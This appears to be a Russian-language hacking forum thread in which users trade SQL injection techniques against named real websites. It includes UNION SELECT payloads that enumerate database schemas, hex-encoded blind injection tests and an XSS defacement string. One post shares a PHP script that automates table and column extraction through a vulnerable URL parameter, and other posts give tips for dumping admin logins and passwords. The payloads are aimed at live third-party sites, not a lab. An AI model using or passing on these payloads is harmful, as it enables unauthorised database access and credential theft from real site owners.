Вот решил тоже поучится и нашел достаточно интересный сайт таблицы нашел но прочитать колонки к ним не могу хотя составляю правильный запрос типу: Code: http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ADMIN'+LIMIT+1,1/* Кстати все таблицы Code: COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS newsleech toki_ekskurs toki_news toki_pages toki_transport ABOUT ADMIN COLOR COMPILE CONTACTS GUESTBOOK MATERIAL NEWS PRODUCER REKLAMA SEASON SEASON_THINGS SHOPS TGROUP THINGS THINGS_COLORS
Мистерео А чем тебе не нравится эта тема: https://forum.antichat.ru/threadnav46016-1-10.html По сабжу : название таблицы в Hex вот ссылка : _http://snak3.h17.ru/tools/ вот так будет выглядеть: _http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x41444d494e+LIMIT+4,1/* Да, твой следующий вопрос будет почему нет вывода логин-пароля Ответ: таблица ADMIN в другой базе Будут вопросы пиши по возможности в теме которую я привёл-быстрее помогут
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E47282853454C4543542B555345522829292C312C31293E3D312C2734313732272C2734313733272929-- (это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) ) http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E47282853454C4543542B555345522829292C312C31293E3D3235352C2734313732272C2734313733272929-- (это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) ) Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10-- sixss нету..почему так?
Потому что там и не должно быть SIXSS,зачем такой изврат нереальный???? Там пятая версия, дампи таблицы и имей сервак без sixxs xD http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,version(),7,8,9,10-- Ты темы не попутал случаем?
ну тогда ещё вопрос..сессию пиздить надо?а то не коннектится к админке.. shale.ru/admin shale;941618 жалко правда что нету форума(
masternet КАКАЯ НАХ СЕССИЯ!!!!??? Дампи таблицы и выдёргивай логин с пассом админа, или проверяй на доступ к mysql.user! Эта уязвимость лучше чем sixxs ))) бред какой то, ты извращенец. Вали в раздел "Ваши вопросы по уязвимостям" и внимательно перечитай первый пост этой темы!!!! УУУ...Я ржу нереально. И кстати- xss , cross-site scripting - если не ошибаюсь, пишется так.
Дополню пожалуй материал относительно двух запросов подряд. Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns Обычно на вопрос что это кто-нибудь отвечает что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода небудет. Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы. Давайте разберёмся. Допустим код выглядит так(не знаю кому это может понадобится, рассматриваем теорию ): PHP: $sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1"; $sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1"; $res=mysql_query($sql); $result = mysql_fetch_row($res); $res1=mysql_query($sql1); $result1 = mysql_fetch_row($res1); echo $result[0]."<br>"; echo $result[1]."<br>"; echo $result[2]."<br>"; echo $result[3]."<br>"; echo $result1[0]."<br>"; echo $result1[1]."<br>"; echo $result1[2]."<br>"; Что будет при подборе: ?id=2+order+by+3/*--------вывод без ошибок ?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе ?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны Начинаем вывод полей ?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало) ?id=-2+union+select+1,2,3,4/*-------из первого Тоесть вывод есть ! При расположении запросов в обратном порядке , будет то-же самое Далее, усложним задачу Вывод из разных таблиц: PHP: $sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id"; $res=mysql_query($sql); $result = mysql_fetch_row($res); $sql1="SELECT title, date FROM news WHERE id=$id"; $res1=mysql_query($sql1); $result1 = mysql_fetch_row($res1); echo $result[0]."<br>"; echo $result[1]."<br>"; echo $result[2]."<br>"; echo $result[3]."<br>"; echo "result1 : ".$result1[0]."<br>"; echo "result1 : ".$result1[1]."<br>"; ?id=1+order+by+2/*------вывод ?id=1+order+by+3/*------ошибка, но вывод из первого запроса ?id=1+order+by+5/*------и наконец ошибка Выводим: ?id=-1+union+select+1,2/*-------вывод (2 запрс верен) ?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен) Ну и наконец смертельный номер Результат одного запроса, идёт в другой запрос: PHP: $sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'"; $res1=mysql_query($sql1); $result1 = mysql_fetch_row($res1); if($res1){ $sql="SELECT title, date FROM news WHERE id='$result1[1]'"; $res=mysql_query($sql); $result = mysql_fetch_row($res); echo "result : ".$result[0]."<br>"; echo "result : ".$result[1]."<br>"; } echo $result1[0]."<br>"; echo $result1[1]."<br>"; echo $result1[2]."<br>"; echo $result1[3]."<br>"; ?id=sa'+order+by+4/*------вывод ?id=sa'+order+by+5/*------ошибка Вывод ?id=a'+union+select+1,2,3,4/*---из 1 запроса(второй кстати тоже будет верным) Ну и из второго тоже можно вывести, но это конечно так, для общего развития: ?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/* Сдесь вывод из двух запросов Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного. Разумеется ничего нового в материале нет, но надеюсь вопросов(а главное ответов ) связанных с этой ошибкой поубавится Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори ) http://presscenter.kz/index.php?show=news&id=2+order+by+5/* Вывод http://presscenter.kz/index.php?show=news&id=2+order+by+6/* Unknown column '6' in 'order clause' http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/* The used SELECT statements have a different number of columns Вывод: http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4,5,6,7,8,9/*
jokester Спасибо конечно за статью, но я только ещё больше запутался... почему 9 полей и конкатенация 2х запросов (0x3a3a3a3a,Version()) ? если, как ты писал в статье +order+by+5/* Вывод +order+by+6/* Unknown column '6' in 'order clause' а допустим просто Version() или concat(version()) не работает. Вот непонял я этого... Можешь тут подробнее, как пришёл к этому, плз ?
Imperou$ Конкретно эту скуль я взял для примера, первое что попалось, но объяснить конечно могу Смотри что получается при таком запросе: http://presscenter.kz/index.php?show=news&id=1+order+by+5/* Есть нормальный вывод, вот так: http://presscenter.kz/index.php?show=news&id=1+order+by+6/* Ошибка Предполагаем, что полей 5 и пробуем вывод: http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5/* The used SELECT statements have a different number of columns Но ордер показывал 5 полей, значит запрос не один. Можно просто сделать перебор с помощью union+select(до вывода, или каких нибуть изменений), но конкретно в этом случае, есть другой способ ставим отрицательное значение: http://presscenter.kz/index.php?show=news&id=-1+order+by+1/* редирект http://presscenter.kz/index.php?show=news&id=-1+order+by+10/* Unknown column '10' in 'order clause' http://presscenter.kz/index.php?show=news&id=-1+order+by+9/* редирект Вот и второй запрос нарисовался ) А concat и 0x3a3a3a3a, это просто вывод хреновый(именно сдесь), и без этого ты не увидишь значение, можешь сюда что хочешь записать, что-бы сместить
ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс. http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8-- PHP: <?php $set['b']='121212';//Что находится перед выводиомй инфой $set['e']='212121';//Что находится после выводимой инфы $set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!) $set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр $set['c']='+++counter+++';//Строка счетчика $set['f']='0';//Начальное значение счетчика $set['s']='500';//Конечное значение счетчика $set['h']='test';//Хост if(!empty($_GET['b']))$set['b']=$_GET['b']; if(!empty($_GET['e']))$set['e']=$_GET['e']; if(!empty($_GET['u']))$set['u']=$_GET['u']; if(!empty($_GET['z']))$set['z']=$_GET['z']; if(!empty($_GET['c']))$set['c']=$_GET['c']; if(!empty($_GET['f']))$set['f']=$_GET['f']; if(!empty($_GET['s']))$set['s']=$_GET['s']; if(!empty($_GET['h']))$set['h']=$_GET['h']; for($i=$set['f'];$i<=$set['s'];$i++) { $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре //Создаем пакет $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n"; $header.="Accept-Language: en-us,en;q=0.5\r\n"; $header.="Accept-Charset: utf-8,*;q=0.7\r\n"; $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5"; $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n"; $header.="Connection: keep-alive\r\n"; $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n"; $header.='Cookie2: $Version=1'."\r\n"; $header.="Host: ".$set['h']."\r\n\r\n"; $dt=""; $fp=fsockopen($set['h'], 80); fwrite($fp, $header); while(!feof($fp)) $dt.=fread($fp, 1024); fclose($fp); //Вырезаем необходимую инфу $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b'])); $dt=substr($dt,0,strpos($dt,$set['e'])); //Выводим инфу на экран echo($dt."\r\n"); flush(); } ?>
Использование PROCEDURE ANALYSE() для выявления имен столбцов, таблицы и базы данных в MySQL 3,4,5 http://raz0r.name/obzory/sql-inekcii-i-procedure-analyse/
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0 Вроде, описания подобного трюка тут еще небыло... Допустим, имеется SQL-инъекция: Code: ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему? На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*". Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users. Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так: Code: ?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x. Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу: Code: ?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x ?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x ?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x ?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x ?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан Это зачем? А это почему? Зависит от расположения меркурия в венере? ======================================= Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле. Допустим: инъекция, 14 полей , вывод в 6. Поехали: ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 Подбираем количество полей в users: ?id=-1+union+select+*+from+users,(select+1)a ?id=-1+union+select+*+from+users,(select+1,2)a ?id=-1+union+select+*+from+users,(select+1,2,3)a ..... ?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7,8,9)a Есть У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5 Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод. ?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(select+1,2,3,4)a Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a". Далее, 2-е поле из users. Смещаем: ?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(select+1,2,3,4,5)a 3-е поле ?id=-1+union+select+*+from+(select+1,2,3)b,users,(select+1,2,3,4,5,6)a 4-е и 5-е ?id=-1+union+select+*+from+(select+1,2)b,users,(select+1,2,3,4,5,6,7)a ?id=-1+union+select+*+from+(select+1)b,users,(select+1,2,3,4,5,6,7,8)a Вот как это выглядит наглядно: Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом. Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14 ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть: ?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7,8,9)a первое, и дальше мы её не сдвинем, и последнее: ?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a,users Выводы: что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
Ну чтож, привыкайте к такой "странной" подаче материалов от меня. И да, как мне справедливо заметили уже, это будет работать в версиях => 4.1.х. Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект.
Да, можно и так, но тут уже нет возможности поперемещать выводимые даные, поэтому способ не совсем аналогичный по своим возможностям (и вообще, это старый боян). Поэтому вам достается пока только маленький хенкерный респект.
ошибаешься, данными можно двигать, так что (учитывая размах в плане версий ) мой вариант эффективнее =) все-таки вот small example (в виде двух эквивалентных по результатам запросов) к написанному материалу, или просто для тех кто не вкурил в таблицу jokester вариант 1 алиасы: вариант 2:
Да, молодец. БХР достается тебе. ( p.s. Я предложенный мною способ придумал года полтора назад, после того как в логах одного сайта нашел попытку провести инъекцию вида Code: -1+union+select+*,1,2,3,4,5+from+users У атакующего не получилось вытащить пасс, так как он не додумался "подвигать" выводимые данные, у меня - получилось с помощью вышеописанного способа с алиасами в from'е. Еще тогда я подумал, что должен быть более красивый способ сделать это. Но, по ряду причин, я не догадался использовать запись с "table_name.*" вместо записи вида Code: -1+union+select+6,*,2,3,4,5,1+from+users которая неработоспособна.